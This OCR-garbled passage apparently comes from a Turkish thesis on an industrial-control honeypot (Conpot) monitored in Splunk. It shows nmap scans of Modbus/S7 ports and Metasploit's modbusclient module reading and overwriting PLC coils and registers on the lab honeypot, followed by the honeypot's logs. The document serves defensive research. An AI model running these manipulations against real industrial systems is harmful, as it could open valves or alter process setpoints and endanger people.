splunk> enterprise Aj ch & Reporting = Administrator = 2 Mes: Settings~  Activity *  Help ~ Find
Search Analytics s Alerts Dashboards . Search & Reporting
New Search e ser Close
conpot ~ | Altime~
26 No Event Sampling ~ Job ~ B 4 5 Verbose Mode +

Events (2,683) sterns  Statistics  Visualization
Format Timeline v — Zoom Out

List» # Format 20 Per Page » D 2 3 4 5 6 7 8 Next >
< Hide Fields = All Fields | mEE =5

> 121419 2019-12-14 21:44:06,653 Session timed out: 20ddalea-2e82-dac2-aad6-al6dal410d80
SELECTED FIELDS 5 6653 PM N

. 9:44:.06.653 PN ost = DESKTOP-8C?MOD5 | source = C\Users\UUR\Desktopllog\conpotlog | sourcetype = conpot
> 121419 2019-12-14 21:43:34,622 HTT
943:34.622PM st - DESKTOP-8C7MODS = conpot

2 sourcetype 1 > 12/4n9 2019-12-14 21
9:43:34.621 PM

INTERESTING FIELDS

# date_hour

ost = DESKTOP-8CTMODS | ip = 192

>_mi 56
a date_month 1

435, e = HTTP | source = C\Users\UUR\Desktopilog\conpotlog | sourcetype = conpot

Resim 4.4. Bal kiipiine gelen isteklerin Splunk iizerinde gercek zamanli izlenmesi
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Saldirgan her ne kadar iceride olsa da ulagsmasi gereken cihazlarin IP adresi ya da birim
numarasi gibi bilgilerine ihtiyag duymaktadir. Bu maksatla pasif bilgi toplama asamasini

tamamladiktan sonra aktif kesif asamasi kapsaminda port taramasi gerceklestirecektir.

PLC/RTU cihazlariin bulundugu agda S7comm ve Modbus protokollerine ait portlarda
nmap tarama araci kullanilarak IP taramasi yapilmis ve bu portlarda hizmet veren bir cihaz
Resim 4.5’te goriilmektedir. Saldirganin tespit ettigi cihaz ayni agda konuglanmis bal kiipii

uygulamasidir.

test@test:~$S nNnmap -p 102,502 -T4 192 .168.1.0/24

Starting Nmap 7.6 { https://nmap.org > at 2019-12-19 @0 :20 +03
Mmap scan report for _gateway (1922 .168.1.1)
Host is up (©9.0013s LlLatency).

PORT STATE SERVICE
1902 tcp filtered iso-tsap
S22/ tcp fFfiltered mbap

Mmap scan report for 122.168.1.25
Host is wup (©0.8048s LlLatencwy) .

PORT STATE SERVICE
1902/tcp closed iso-tsap
Sse2/tcp closed mbap

Mmap scan report for test (192.168.1.28)
Host is wup (0.00034s LlLatencw) .

PORT STATE SERVICE
1902 //tcp closed iso-tsap
s582/tcp closed mbap

Mmap scan report for 122.168.1.29
up (92.9027s Latencwy) .

STATE SERVICE

open iso-tsap
open mbap

up (8.051s Latencwy) .

STATE SERVICE

Resim 4.5. TP taramast

PLC olabilecek bir cihaz kesfedildikten sonra cihazda hizmet veren tiim servislerin tespiti
icin kesfedilen cihaz 6zelinde tiim portlar taranmistir. Gergeklestirilen port taramasi sonucu

acik oldugu tespit edilen portlar ve servisler Resim 4.6’da gosterilmistir.

test@test:~S nmap -p- -T4 192.168.1.29

Starting Nmap 7.60 ( https://nmap.org ) at 2019-12-10 ©00:07 +063
Nmap scan report for 192.168.1.29
Host is up (©.040s latency).
Not shown: 65527 closed ports
STATE SERVICE
open iso-tsap

open mbap
2121 /tcp open ccproxy-ftp
S020/tcp open zenginkyo-1
8080 /tcp open http-proxy
10001 /tcp open scp-config
10201 /tcp open rsms
44818/tcp open EtherNetIP-2

Resim 4.6. Port taramasi
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IP taramas1 ve port taramasi bal kiipli uygulamasinda trafik yarattigindan dolay1 log kaydi
olusturmustur. Gelen istekler ve verilen cevaplara ait verileri gosteren kayitlar Resim 4.7’de
sunulmustur. Bu veriler es zamanli olarak Splunk uygulamasinda goriintiilenebilmektedir ve

gercek zamanli izlenebilmektedir.

-10 00:08:13,829 FTP connection timeout, remote: ('192.168.1.28', 40078). (e06d8918b-8244-4701-af6a-759fa5dd7a48). Discon
client
12-10 00:19:52,929 New modbus session from 192.168.1.28 (f0349fdd-do4a-4063-83a4-099ed6b2c052)
-10 00:19:52,934 New Modbus connection from 192.168.1.28:43254. (f0349fdd-do4a-4063-83a4-099ed6b2c052)
-10 08:19:52,938 Exception occurred in ModbusServer.handle() at sock.recv(): [Errno 184] Connection reset by peer
12-16 00:19:52,939 Modbus client disconnected. (f8349fdd-d04a-4863-83a4-099ed6b2c52)
-10 00:20:21,754 New s7comm session from 192.168.1.28 (cadad7c6-a119-4ff1-85c4-e93d3050e38a)

-10 00:20:21,762 New S7 connection from 192.168.1.28:55656. (cad4a47c6-al119-4ff1-85c4-e93d3050e38a)
12-10 00:20:21,764 New Modbus connection from 192.168.1.28:45286. (f0349fdd-d04a-4063-83a4-099ed6b2c052)

-10 08:20:21,765 Exception occurred in ModbusServer.handle() at sock.recv(): [Errno 184] Connection reset by peer
12-10 00:20:21,767 Modbus client disconnected. (f0349fdd-d04a-4063-83a4-099ed6b2c52)
12-10 00:20:51,781 Session timed out: f0349fdd-do4a-4063-83a4-09%ed6b2c052

-10 00:20:53,782 Session timed out: ca4ad7c6-al19-4ff1-85c4-e93d3050e38a

Resim 4.7. Bal kiipii uygulamasina gelen istekler ve verilen cevaplar

Calisan servisler, protokoller, acik portlar ve IP adresi bilgileri saldirgan tarafindan tespit
edilmistir. Bu asamadan sonra toplanan bilgiler ile elde edilen agikliklar istismar edilmistir.
Bu maksatla Metasploit Framework sizma testi aracinda bulunan modbusclient istismar
kodu kullanilmistir. Gergeklestirilen saldirinin, ele gegirilen ya da degistirilen verinin daha
iyl anlagilabilmesi amaciyla kisaca Modbus protokolii veri yapisindan ve diger

ozelliklerinden bahsedilmistir

Modbus veri modeli, bir dizi ayirt edici 6zelliklere sahip tablosal bir yapidan meydana
gelmektedir ve veriler bu dort tablo icerisinde saklanir. Iki tablo dijital ¢ikis (coil, bobin)
degerlerini ve dijital giris (kontak) degerlerini acik/kapali (on/off) formatinda tek bit olarak
saklar. Diger iki tablo da saklayici kaydedicileri (analog ¢ikislar, holding register) ve giris
kaydedicileri (analog girisler, input register) degerlerini niimerik formatta 16 bit (word)
olarak saklar. Her tablo 9999 deger saklayabilir [149]. Bu tablosal yap1 Cizelge 4.4’te

gosterilmistir.

Cizelge 4.4. Modbus veri yapisi [149]

Coil/contact/register Veri Boyutu Ozellik Tablo Ad1
numarasi (Bit)

1-9999 1 Okuma/Yazma | Dijital Cikislar (Coil)
10001-19999 1 Okuma Dijital Girigler (Contact)
30001-39999 16 Okuma Giris Kaydedicileri
40001-49999 16 Okuma/Yazma | Saklayicit Kaydediciler
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Modbus veri yapisinda tutulan degerler EKS icin énem arz etmektedir. Ornegin tek bit
saklayabilen yazmagclar bir vananin ya da rélenin agik-kapali gibi durumlarini tutuyorken,
16-bit yazmaglar bir depoda bulunmasi gereken minimum ya da maksimum su degerini, bir
niikleer elektrik santrali santrifiijiiniin donme hizim1 veya bir dogalgaz tesisindeki basing
miktariin esik seviyesini gosteriyor olabilmektedir. Bu nedenle bu degerlerin elde edilmesi

ya da degistirilmesi biiyiikk 6nem arz etmektedir [150].

Metasploit Framework sizma testi aracinda bulunan modbusclient kodunu kullanarak
istismar1 gerceklestirebilmek icin dncelikle gerekli parametreler girilmistir. PLC tizerindeki
veri modelinde 1-10 arasindaki adres degerler (dijital ¢ikiglar — coils) Resim 4.8’de

goriilebilmektedir.

msfS auxiliary( RHOSTS 192.168.1.29
RHOSTS => 192.168.1.29

msfS auxiliary( action READ_COILS
action => READ_COILS

msfS auxiliary( DATA_ADDRESS 1
DATA_ADDRESS => 1

msfS auxiliary(

Running module against 192.168.1.29

192.168.1.29:502 - Sending READ COILS...
192.168.1.29:502 - 10 coill values from address 1
192 .168°1.29:502 = [ 067 1 0 1 AT 10000 0]
*] Auxiliary module execution completed
sfS auxiliary( 31 E

Resim 4.8. Dijital ¢ikis (coils) degerlerinin okunmasi

Daha sonra ayni adres araliginda yazma islemi gergeklestirilmistir. Bilindigi lizere dijital
cikislar (coils) hem okuma hem de yazma yapabildigi i¢cin gerceklestirilen islem basarili
olmustur ve 1-10 adres araliginin tamaminin bit bazinda 1 olarak degistirilmesi Resim 4.9’da
gosterilmistir. Gergeklestirilen manipiilasyon duruma gore tiim vanalarin agilmasi anlamina

gelebilmektedir.

msf5 auxiliary( ) > set DATA_COILS 1111111111
DATA_COILS => 1111111111

msf5 auxiliary( ) > run

[*] Running module against 192.168.1.29

[*] 192.168.1.29:502 - Sending WRITE COILS...

[+] 192.168.1.29:502 - Values 1111111111 successfully written from coil address 1
[*] Auxiliary module execution completed

msfS auxiliary( ) > set action READ_COILS

action => READ_COILS
msf5 auxiliary( ) > run
[*] Running module against 192.168.1.29

[*] 192.168.1.29:502 - Sending READ COILS...

[+] 192.168.1.29:502 - 10 coil values from address 1
[+] 192.168.1.29:562 - [1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
[*] Auxiliary module execution completed

msf5 auxiliary( ) > []

Resim 4.9. Dijital ¢ikis (coils) degerlerinin degistirilmesi
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Dijital ¢ikis degerleri degistirildikten sonra saldirgan tarafindan 30001-39999 ve 40001-
49999 adres araliginda oldugu bilinen 16-bitlik yazmag degerleri hedeflenmistir. Yapilan
denemelerden sonra 40001 adresinden baglayarak 32 saklayici1 kaydedici degeri okunmustur

ve halihazirda tamamina “0” degeri atandig1 Resim 4.10°da goriilmektedir.

Basic options:
Name Current Setting Required Description

DATA Data to write (WRITE_COIL and WRITE_REGISTER modes only)

DATA_ADDRESS 40001 Modbus data address

DATA_COILS Data in binary to write (WRITE_COILS mode only) e.g. 6110

DATA_REGISTERS Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4
NUMBER 32 Number of coils/registers to read (READ_COILS ans READ_REGISTERS modes only)

RHOSTS 192.168.1.29 The target address range or CIDR identifier

RPORT 502 The target port (TCP)

UNIT_NUMBER 2 Modbus unit number

Description:
This module allows reading and writing data to a PLC using the
Modbus protocol. This module is based on the 'modiconstop.rb'
Basecamp module from DigitalBond, as well as the mbtget perl script.

msf5 auxiliary( ) > run
[*] Running module against 192.168.1.29

[*] 192.168.1.29:502 - Sending READ REGISTERS...

[+] 192.168.1.29:502 - 32 register values from address 40001 :

[+] 192.168.1.29:5062 - [e, 06, 6, @, 6, 6, 0, 0, 6, 0,0, 0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,0,0]
[*] Auxiliary module execution completed

Resim 4.10. Saklayici kaydedici (holding registers) degerlerinin okunmasi

Son olarak 40001 adresinden baglayarak 10 saklayici kaydedici degeri “99” degeriyle

degistirilmistir ve bu islemin de basarili oldugu Resim 4.11°de goriilmektedir.

msf5 auxiliary( ) > set DATA_REGISTERS 99,99,99,99,99,99,99,99,99,99
DATA_REGISTERS => 99,99,99,99,99,99,99,99,99,99
) > set action WRITE_REGISTERS

) > run
*] Running module against 192.168.1.29

[*] 192.168.1.29:502 - Sending WRITE REGISTERS...
[+] 192.168.1.29:502 - Values 99,99,99,99,99,99,99,99,99,99 successfully written from registry address 40001

[*] Auxiliary module execution completed

msf5 auxiliary( ) > set action READ_REGISTERS
action => READ_REGISTERS

msf5 auxiliary( ) > run

[*] Running module against 192.168.1.29

] 192.168.1.29:502 - Sending READ REGISTERS...
192.168.1.29:502 - 10 register values from address 40001 :
192.168.1.29:502 - [99, 99, 99, 99, 99, 99, 99, 99, 99, 99]

*] Auxiliary module execution completed

Resim 4.11. Saklayic1 kaydedici (holding registers) degerlerinin degistirilmesi

Saldirganin PLC oldugunu diisiinerek gergeklestirdigi saldir1 sonucu bal kiipiinde iiretilen

log kayitlar1 Resim 4.12°de sunulmustur.
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'response’: b'0102ff03'} (7baea505-Befc-4903-9114-4546b9d22191)

2019-12-10 02:06:32,934 Modbus response sent to 192.168.1.28

2019-12-10 02:06:32,940 Modbus client disconnected. (7baea505-8efc-4903-9114-4546b9d22191)

2019-12-10 02:07:04,962 Session timed out: 7baea505-8efc-4903-9114-4546b9d22191

2019-12-10 02:08:37,825 New modbus session from 192.168.1.28 (72b@9c51-3a27-45f3-968c-df078dedbese)

2019-12-10 62:08:37,827 New Modbus connection from 192.168.1.28:44953. (72b69c51-3a27-45F3-968¢c-df078de0be5e)

2019-12-10 02:08:37,828 Modbus traffic from 192.168.1.28: {'request': b'00000000000601010001000a', 'slave_id': 1, 'function_code': 1,
'response’: b'0102ff03'} (72b09c51-3a27-45f3-968c-df078de0beSe)

2019-12-10 02:08:37,829 Modbus response sent to 192.168.1.28

2019-12-10 02:08:37,834 Modbus client disconnected. (72b89c51-3a27-45f3-968c-df078de0bese)

2019-12-10 62:09:09,853 Session timed out: 72b69c51-3a27-45F3-968c-dfO78dedbebe

2019-12-10 02:12:52,600 New modbus session from 192.168.1.28 (f7052b6d-c18d-4179-b3e8-fed8a22e8832)

2019-12-10 02:12:52,601 New Modbus connection from 192.168.1.28:36861. (f7052b6d-c18d-4179-b3e8-fed8a22e8832)

